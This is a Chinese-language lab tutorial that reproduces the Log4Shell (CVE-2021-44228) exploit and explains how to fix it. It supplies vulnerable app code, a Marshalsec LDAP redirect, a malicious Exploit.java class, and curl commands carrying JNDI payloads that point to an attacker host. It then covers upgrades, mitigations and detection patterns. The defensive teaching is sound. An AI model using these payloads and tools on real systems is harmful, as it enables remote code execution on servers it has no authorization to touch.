Log4Shell漏洞实战复现:从JNDI注入到RCE的攻防解析

发布时间:2026/6/30 11:41:58

Log4Shell漏洞实战复现:从JNDI注入到RCE的攻防解析 1. 项目概述为什么Log4j漏洞值得每个开发者亲手复现一次如果你在2021年底那会儿关注过技术新闻一定被“Log4Shell”这个词刷过屏。CVE-2021-44228这个听起来平平无奇的漏洞编号却引爆了互联网安全领域近十年来最大的一次“地震”。我当时正在负责一个大型Java微服务集群的运维警报响起时整个团队都进入了战时状态。这个漏洞的可怕之处在于它潜伏在一个几乎无处不在的基础组件——Apache Log4j 2库里攻击者只需要让应用记录下一段精心构造的字符串就能在服务器上执行任意命令。这意味着从大型互联网公司的核心业务到个人开发者的小项目只要用了Log4j 2且没做特定防护就相当于在互联网上“裸奔”。但为什么我今天要和你聊“复现”这个漏洞仅仅知道它的危害是不够的。对于开发者、运维甚至安全研究员来说亲手在可控的环境里把这个漏洞“玩”一遍是理解其原理、评估自身风险、并最终掌握修复和防御方法最有效的方式。看一百篇分析文章不如自己动手让一个靶机弹出计算器来得印象深刻。这个过程会让你彻底明白JNDI注入、LDAP协议在攻击中的滥用方式以及为什么简单的版本升级或参数配置就能堵上这个巨大的安全缺口。接下来我将带你从零开始搭建一个最简化的漏洞环境一步步触发攻击并深入探讨其背后的技术细节和多种修复方案。无论你是想加固自己的系统还是准备投身安全研究这篇手把手的实战指南都会是你的一块重要拼图。2. 漏洞原理深度拆解从日志记录到远程代码执行在动手之前我们必须先搞清楚这个漏洞到底是怎么发生的。Log4j 2是一个强大的日志框架它支持一种叫做“查找”Lookup的功能允许在日志输出中动态插入一些上下文信息比如系统环境变量、Java运行环境信息等。其语法是${prefix:name}例如${java:runtime}可以输出Java版本。2.1 JNDI注入漏洞的核心引擎CVE-2021-44228的核心问题出在JndiLookup这个查找器上。它允许通过${jndi:ldap://attacker.com/evil}这样的格式让Log4j去通过JNDIJava命名和目录接口访问一个远程的LDAP服务。设计初衷可能是为了集成一些外部目录服务但在实现时Log4j 2.14.1及之前版本在默认配置下会对jndi:协议进行无条件解析并且这个解析过程发生在日志消息被格式化输出的时候无论日志级别是ERROR、WARN还是INFO。攻击链条是这样的攻击输入攻击者找到一个可以向应用输入数据的地方如HTTP请求头、表单参数、搜索框、用户注册名等输入Payload${jndi:ldap://恶意LDAP服务器地址/恶意类名}。日志记录应用程序在处理这个输入时通常会将其记录到日志中例如“用户XXX登录失败”。Lookup解析Log4j在记录日志时发现日志消息中包含${...}模式便会启动Lookup解析流程。当识别到jndi:前缀时它会尝试通过JNDI去连接指定的LDAP服务器。恶意响应攻击者控制的LDAP服务器会响应一个请求告诉客户端“你要找的对象在这个HTTP地址http://恶意HTTP服务器/Exploit.class”。动态加载与执行受害的Java应用即Log4j库会根据LDAP服务器的指示去指定的HTTP地址下载并加载这个Exploit.class文件。如果这个恶意类文件的静态代码块或构造函数中包含如Runtime.getRuntime().exec(calc.exe);这样的命令那么远程代码执行RCE就成功了。注意这里有一个关键点高版本Java8u191, 7u201, 6u211默认限制了从远程地址加载类即设置了com.sun.jndi.ldap.object.trustURLCodebasefalse。但这并非绝对安全攻击者依然可以通过利用受害者本地ClassPath中已有的类进行利用如利用Tomcat中的org.apache.naming.factory.BeanFactory进行EL表达式注入这被称为“绕过”。因此仅依赖高版本Java的默认限制是不够的必须修复Log4j本身。2.2 影响范围为什么说它“核弹级”这个漏洞被评为CVSS 10.0满分其影响范围之广令人咋舌直接依赖任何使用Log4j 2.x 2.14.1版本的应用。间接依赖更常见且危险的情况。很多项目并不直接声明依赖Log4j但它可能被诸如spring-boot-starter-log4j2,log4j-core等依赖间接引入。使用Apache Struts2,Apache Solr,Apache Flink,Apache Druid以及众多基于Spring Boot的微服务框架的应用都可能中招。默认配置在2.15.0版本之前该功能默认开启无需任何特殊配置即可触发。3. 靶场环境搭建与工具准备为了安全且合法地复现漏洞我们必须在隔离的环境中进行。推荐使用虚拟机如VirtualBox Ubuntu或 Docker 来构建靶场。3.1 漏洞应用准备我们将创建一个最简单的、存在漏洞的Java Web应用。1. 创建Maven项目在你的开发目录下创建一个标准的Maven项目结构。pom.xml是关键它需要引入存在漏洞的Log4j版本。?xml version1.0 encodingUTF-8? project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd modelVersion4.0.0/modelVersion groupIdcom.vulnlab/groupId artifactIdlog4shell-vuln-app/artifactId version1.0-SNAPSHOT/version packagingjar/packaging properties maven.compiler.source8/maven.compiler.source maven.compiler.target8/maven.compiler.target project.build.sourceEncodingUTF-8/project.build.sourceEncoding /properties dependencies !-- 关键引入存在漏洞的Log4j 2.x版本 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.14.1/version !-- 漏洞版本 -- /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.14.1/version /dependency !-- 一个简单的嵌入式Web服务器用于接收HTTP请求 -- dependency groupIdcom.sparkjava/groupId artifactIdspark-core/artifactId version2.9.3/version /dependency /dependencies build plugins plugin groupIdorg.apache.maven.plugins/groupId artifactIdmaven-shade-plugin/artifactId version3.2.4/version executions execution phasepackage/phase goals goalshade/goal /goals configuration transformers transformer implementationorg.apache.maven.plugins.shade.resource.ManifestResourceTransformer mainClasscom.vulnlab.VulnApp/mainClass /transformer /transformers /configuration /execution /executions /plugin /plugins /build /project2. 编写漏洞应用代码创建一个简单的Java类它包含一个HTTP接口会将请求头中的User-Agent记录到日志中。package com.vulnlab; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import static spark.Spark.*; public class VulnApp { // 使用Log4j 2的Logger private static final Logger logger LogManager.getLogger(VulnApp.class); public static void main(String[] args) { port(8080); // 应用运行在8080端口 // 定义一个简单的HTTP GET端点 get(/hello, (req, res) - { String userAgent req.headers(User-Agent); // 关键漏洞点将用户可控的输入User-Agent记录到日志 logger.info(Received request from User-Agent: {}, userAgent); return Hello, your UA is: userAgent; }); System.out.println(Vulnerable app running on http://localhost:8080); } }3. 配置Log4j2.xml在src/main/resources/下创建log4j2.xml使用最简单的Console Appender确保日志输出到控制台。?xml version1.0 encodingUTF-8? Configuration statusWARN Appenders Console nameConsole targetSYSTEM_OUT PatternLayout pattern%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n/ /Console /Appenders Loggers Root levelinfo !-- 注意INFO级别即可触发 -- AppenderRef refConsole/ /Root /Loggers /Configuration4. 编译与打包在项目根目录下运行mvn clean package。成功后你会在target/目录下得到一个可运行的JAR文件例如log4shell-vuln-app-1.0-SNAPSHOT.jar。3.2 攻击工具准备我们需要两个关键工具来扮演攻击者的角色一个恶意的LDAP服务器和一个用于托管恶意Java类的HTTP服务器。1. 使用 Marshalsec 搭建LDAP反射服务器Marshalsec 是一个非常好用的工具它可以快速启动一个恶意的LDAP服务器。下载与编译git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译完成后在target/目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。启动LDAP服务器java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的HTTP服务器IP:端口/#Exploit例如如果你的攻击机IP是192.168.1.100HTTP服务器跑在8000端口命令就是java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.100:8000/#Exploit这个命令启动的LDAP服务器监听在1389端口。当有客户端即我们的漏洞应用连接并查询时它会返回一个指向http://192.168.1.100:8000/Exploit.class的引用。2. 编写并托管恶意Java类创建一个简单的恶意Java类编译后用Python的HTTP模块托管。编写Exploit.javapublic class Exploit { static { try { // 弹出一个计算器Linux下可改为 gnome-calculator 或 xcalc Runtime.getRuntime().exec(calc.exe); // 或者执行其他命令如打开终端 // Runtime.getRuntime().exec(open /System/Applications/Utilities/Terminal.app); } catch (Exception e) { e.printStackTrace(); } } }编译javac Exploit.java这会生成Exploit.class文件。启动HTTP服务器 在Exploit.class所在目录下运行一个简单的HTTP服务器# Python 3 python3 -m http.server 8000现在你的恶意类文件可以通过http://你的IP:8000/Exploit.class被访问到。实操心得在虚拟机或独立网络环境中进行这一切。确保你的攻击机运行Marshalsec和HTTP服务和靶机运行漏洞应用在同一个网络内能够互相访问。我通常会用VirtualBox创建两台NAT模式的虚拟机一台跑靶场一台跑攻击工具这样完全与宿主机隔离。4. 漏洞复现实战触发远程代码执行环境准备就绪现在让我们开始最关键的触发环节。4.1 启动服务启动漏洞应用在靶机或另一个终端上运行我们打包好的JAR。java -jar target/log4shell-vuln-app-1.0-SNAPSHOT.jar看到Vulnerable app running on http://localhost:8080即表示成功。启动攻击服务在攻击机上按顺序启动HTTP服务器在Exploit.class目录python3 -m http.server 8000LDAP服务器java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机IP:8000/#Exploit4.2 构造并发送攻击Payload现在我们向漏洞应用发送一个HTTP请求并在User-Agent头中插入JNDI Payload。使用curl命令在攻击机或任何能访问到靶机8080端口的地方curl -H User-Agent: \${jndi:ldap://攻击机IP:1389/Exploit} http://靶机IP:8080/hello例如curl -H User-Agent: \${jndi:ldap://192.168.1.100:1389/Exploit} http://192.168.1.50:8080/hello4.3 观察攻击结果查看漏洞应用控制台你应该能在运行漏洞应用的终端看到类似以下的日志输出。注意Log4j解析了${jndi:...}并尝试连接LDAP服务器。14:25:33.123 [main] INFO com.vulnlab.VulnApp - Received request from User-Agent: ${jndi:ldap://192.168.1.100:1389/Exploit}同时如果Java版本较低8u191你可能会看到计算器程序被弹出这就是远程代码执行成功的标志。查看攻击服务器日志LDAP服务器终端你会看到有连接进入的日志例如Send LDAP reference result for Exploit redirecting to http://192.168.1.100:8000/Exploit.class。HTTP服务器终端你会看到一条GET请求记录请求/Exploit.class文件。4.4 关键现象与原理验证成功弹计算器这证明了在低版本Java环境下漏洞可以被直接利用执行任意命令。高版本Java下的现象如果你使用的是Java 8u191或更高版本可能不会弹出计算器但在漏洞应用的控制台可能会看到javax.naming.CommunicationException或关于com.sun.jndi.ldap.object.trustURLCodebase的警告信息。这证明了Java本身的安全机制拦截了远程类的加载但漏洞触发流程JNDI查询依然发生了。攻击者依然可能通过其他方式如利用本地ClassPath中的类进行利用。注意事项在实际渗透测试或安全评估中绝对禁止在未经授权的系统上进行此类测试。这里的复现仅限于你自己搭建的、完全可控的实验室环境。发送Payload到公网未知系统是违法行为。5. 漏洞修复方案全面解析复现漏洞是为了更好地修复它。针对CVE-2021-44228Apache官方和社区提供了多种修复方案我们需要根据实际情况选择。5.1 根本解决方案升级Log4j2版本这是最彻底、最推荐的方法。升级至安全版本Log4j 2.x 用户升级到2.17.0或更高版本目前最新稳定版是2.x系列。在2.16.0版本中默认禁用了JNDI功能并移除了对消息Lookup的支持。2.17.0及之后版本修复了更多后续发现的相关漏洞如CVE-2021-45046, CVE-2021-45105。Log4j 1.x 用户注意Log4j 1.x 不受此漏洞影响因为它不包含有问题的JndiLookup类。但Log4j 1.x已停止维护存在其他风险建议迁移到Log4j 2.17.0或其他日志框架。如何升级Maven/Gradle项目直接修改pom.xml或build.gradle中的依赖版本然后更新依赖。检查间接依赖使用mvn dependency:tree或gradle dependencies命令查看是否有其他依赖引入了旧版本的log4j-core或log4j-api。如果有可能需要通过exclusions排除或升级那个传递依赖的库。5.2 临时缓解措施如果无法立即升级在某些生产环境中立即升级可能涉及复杂的发布流程。可以采用以下临时方案“止血”。修改JVM启动参数最常用 通过设置系统属性直接禁止Log4j使用JNDI。java -Dlog4j2.formatMsgNoLookupstrue -jar your-application.jar对于 Log4j 2.10 到 2.14.1 版本这个参数有效。但从2.16.0开始此参数已不再需要因为功能已默认禁用。移除JndiLookup类文件暴力但有效 在应用程序的ClassPath中找到log4j-core-*.jar解压或直接使用zip命令删除其中的JndiLookup.class文件。# Linux/Mac zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class # Windows (使用PowerShell或安装zip工具)删除后重新打包或放置。这个方法直接破坏了漏洞触发的关键组件但需要确保所有部署节点都执行此操作。配置防火墙/安全组策略 在网络安全层面限制出站连接。漏洞利用需要应用服务器能访问外部的LDAP389/1389端口和HTTP80/443/任意端口服务。严格限制服务器只能访问必要的内部服务和已知可信的外部API可以阻断大部分来自外部的利用尝试。但这无法防御内部网络的攻击。5.3 修复方案对比与选择建议修复方案优点缺点适用场景升级至2.17.0彻底修复一劳永逸同时获得其他安全补丁和性能改进。可能需要测试兼容性发布流程可能较长。首选方案适用于所有可以安排升级的环境。设置JVM参数-Dlog4j2.formatMsgNoLookupstrue实施快速无需修改代码或部署包。仅对2.10-2.14.1有效是临时方案治标不治本。无法立即升级时作为紧急止血措施。删除JndiLookup.class效果直接能立即阻断该攻击向量。操作繁琐需对所有部署节点生效可能因操作失误导致日志功能异常。在极端紧急且无法重启服务或改参数的情况下考虑。网络层限制出站可以作为纵深防御的一环阻断未知外联。配置复杂可能影响正常业务功能无法防御内网攻击。作为安全加固的补充措施不能替代软件修复。我的建议是优先升级。如果因客观原因无法升级必须使用JVM参数进行全局缓解并立即制定升级计划。删除Class文件作为最后手段。同时无论采用哪种方案都应使用漏洞扫描工具如针对自有代码的SCA工具或针对线上服务的漏洞扫描器进行验证。6. 防御与排查进阶指南修复了已知漏洞但安全是一个持续的过程。以下是一些进阶的防御和排查思路。6.1 主动防御在代码和架构层面免疫输入验证与过滤对所有用户输入、外部API返回的数据进行严格的验证和过滤。对于日志内容可以考虑在传递给Log4j之前对可能存在风险的字符如$,{,}进行转义或过滤。但要注意这并非万无一失因为数据可能从多个渠道进入日志。使用安全的日志框架评估是否可以将Log4j2替换为其他不受此漏洞影响的日志框架如Logback需注意其自身也可能有其他问题。或者考虑使用Log4j 2的“无Lookup”配置模式。最小权限原则运行Java应用的操作系统用户应遵循最小权限原则避免使用root或管理员权限。这样即使被RCE攻击者获得的权限也有限。运行时保护RASP考虑部署运行时应用自我保护方案。这类方案可以在应用内部监控危险行为如JNDI调用、可疑的进程启动并在发生时进行阻断和告警。6.2 应急排查我的系统是否受影响如果你负责一个庞大的遗产系统不确定是否受影响可以按以下步骤排查资产梳理列出所有对外提供服务的Java应用。依赖检查命令检查在应用部署目录使用find . -name “*log4j*.jar”查找JAR文件。使用java -cp log4j-core-*.jar org.apache.logging.log4j.core.Version查看版本注意此命令本身可能触发漏洞需在绝对安全隔离环境进行。SCA工具扫描使用像OWASP Dependency-Check、Trivy、Snyk等软件成分分析工具对代码仓库或制品库进行扫描自动识别存在漏洞的依赖。流量监控与回溯检查WAF、IDS/IPS、网关日志搜索是否有包含${jndi:、${ldap:、${rmi:等模式的请求。这可以帮助判断是否已被攻击者尝试利用。主机层检测检查服务器上是否有可疑的进程、网络连接特别是到非常用端口的出站连接或计划任务。6.3 常见问题与排查技巧实录在复现和修复过程中我踩过不少坑这里分享几个典型问题和解决方法Q1我的Java版本很高8u191为什么复现时还是看到了LDAP连接请求但没弹出计算器A这是正常现象。高版本Java默认禁止从远程Codebase加载类trustURLCodebasefalse所以恶意类没有被加载执行。但Log4j的JNDI查询动作依然发生了这证明漏洞是存在的。攻击者可能利用本地ClassPath中的其他类进行二次利用因此不能因为没执行命令就认为系统安全。Q2升级到Log4j 2.16.0后应用启动报错或日志格式异常怎么办A2.16.0版本默认禁用了Lookup功能。如果你的日志配置log4j2.xml的PatternLayout中使用了%msg、%message等包含Lookup的转换器可能会出错。需要将其替换为%m、%m{lookups}或%msg{lookups}具体取决于版本。建议参考升级指南并充分测试。Q3使用Marshalsec启动LDAP服务器时报错“Address already in use”A端口1389被占用。可以指定另一个端口例如9999并在Payload和启动命令中统一修改。# 启动LDAP服务器在9999端口 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://your-http-server/#Exploit 9999 # Payload相应改为 ${jndi:ldap://your-ip:9999/Exploit}Q4漏洞应用收到了Payload但攻击机的LDAP/HTTP服务器没收到任何请求A首先检查网络连通性pingtelnet。其次检查防火墙设置是否拦截了相关端口。最关键的一点确保Payload中的IP地址是攻击机可被靶机访问的真实IP在虚拟机环境中不要使用localhost或127.0.0.1。最后查看漏洞应用的日志级别确保是INFO或更低因为DEBUG级别可能不会触发某些Lookup。亲手复现一次CVE-2021-44228远比阅读十篇分析报告更有价值。它让你直观地理解了从一处简单的日志记录到整个系统沦陷的完整链条也让你深刻体会到基础组件安全、供应链安全的重要性。在当今的软件开发中我们每天都在使用大量的开源依赖一个看似遥远的底层漏洞可能随时通过依赖链爬到你的面前。建立常态化的依赖漏洞监控机制如集成GitHub Dependabot, Snyk等制定清晰的应急响应流程在架构设计上贯彻最小权限和纵深防御原则这些才是应对下一个“Log4Shell”的底气。

相关新闻